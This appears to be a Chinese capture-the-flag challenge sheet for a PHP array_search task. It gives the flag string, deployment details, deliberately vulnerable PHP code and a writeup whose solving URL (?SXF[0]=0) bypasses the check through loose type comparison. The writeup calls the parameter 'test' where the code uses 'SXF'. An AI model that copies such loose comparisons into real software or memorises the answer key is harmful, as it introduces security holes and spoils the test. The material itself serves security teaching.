[题目信息]:
题目名称 | 题目难度 |
---|---|
PHP-array_search | 1 |
[题目考点]:
array_search函数可以在数组内寻找某个键值,如果找到就返回键名,未找到就返回false。
[Flag格式]:
SangFor{bNWwyKPcav3ajxB6}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:2007
[题目writeup]:
?php
include('flag.php');
highlight_file(__FILE__);
if(!is_array($_GET['SXF'])){exit();}
$SXF=$_GET['SXF'];
for($i=0;$i<count($SXF);$i++){
if($SXF[$i]==="admin"){
echo "error";
exit();
}
$SXF[$i]=intval($SXF[$i]);
}
if(array_search("admin",$SXF)===0){
echo $flag;
}
else{
"false";
}
?>
array_search函数可以在数组内寻找某个键值,如果找到就返回键名,未找到就返回false。
分析代码逻辑,三个if条件很是苛刻,前两个if分别要求参数test传入的值必须是数组且数组内不能有“admin”,然后第三个条件就要求通过array_search(“admin”,$SXF)判断。
而我们知道,array_search()与in_array()一样,会类型进行强制转换,那么当我们传入test[]=0
时,array_search("admin",$SXF)
中的判断就相当于"admin"==0
,最终等式成立返回匹配成功的数组元素的下标0,满足“===”,得到flag。
http://localhost/?SXF[0]=0